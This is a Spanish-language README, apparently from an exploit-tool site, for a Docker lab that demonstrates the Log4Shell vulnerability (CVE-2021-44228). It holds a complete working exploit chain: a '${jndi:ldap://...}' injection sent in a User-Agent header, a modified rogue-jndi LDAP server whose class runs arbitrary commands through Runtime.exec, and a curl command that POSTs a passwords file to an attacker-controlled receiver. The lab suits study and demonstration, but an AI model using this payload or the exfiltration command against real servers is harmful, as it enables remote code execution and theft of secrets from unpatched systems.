CVE-2021-44228-docker-example

Una simple demostración de CVE-2021-44228 para transferir datos desde un servidor vulnerable a un servicio web controlado por un atacante. Todos los componentes implicados se ejecutan mediante Docker.

Componentes

vulnerable-server

Este es un servidor Java estándar que actúa como víctima. Está ejecutando:

• Java 8u111
• Aplicación web (Spring Boot 2.6.1)
• Log4J

Este servidor es VULNERABLE usando esta configuración.

Información adicional:

• el endpoint en /logging (GET) registrará el user agent usando Log4J
• /foo/passwords.txt existe (el objetivo del atacante)

Contenido de passwords.txt:

my secret

malicious-receiver

Este es un servidor Java estándar que actúa como recopilador de datos del atacante. Está ejecutando:

• Java 17
• Aplicación web (Spring Boot 2.6.1)

Información adicional:

• el endpoint en receiver (POST) registrará el cuerpo de la petición

malicious-ldap

Este es un servidor LDAP impulsado por rogue-jndi. Su clase ExportJava ha sido modificada para que los comandos pasados mediante la opción -c se ejecuten.

public ExportObject() {
    try {
        Runtime.getRuntime().exec(Config.command);
    } catch(Exception e) {
        e.printStackTrace();
    }
}

Cuando el servidor vulnerable lo solicite, responderá con una clase que ejecutará el siguiente comando al ser instanciada:

curl -XPOST http://172.18.18.11:8082/receiver --data-binary @/foo/passwords.txt

Esto enviará efectivamente el contenido de /foo/passwords.txt al endpoint preparado del receptor malicioso.

Uso

1. Configurar las imágenes Docker ejecutando:
   root@kitploit:~

   ./build.sh
   

2. Iniciar los contenedores de los componentes ejecutando:
   root@kitploit:~

   ./start.sh
   

3. Desencadenar la vulnerabilidad ejecutando:
   root@kitploit:~

   curl -A '${jndi:ldap://172.18.18.10/o=reference}' localhost:8081/logging
   

4. Comprobar la salida de logs del componente receptor malicioso ejecutando:
   root@kitploit:~

   docker logs --timestamps docker_malicious-receiver_1
   

   Debería estar el contenido del archivo passwords.txt del servidor.
5. Detener los contenedores de los componentes ejecutando:
   root@kitploit:~

   ./stop.sh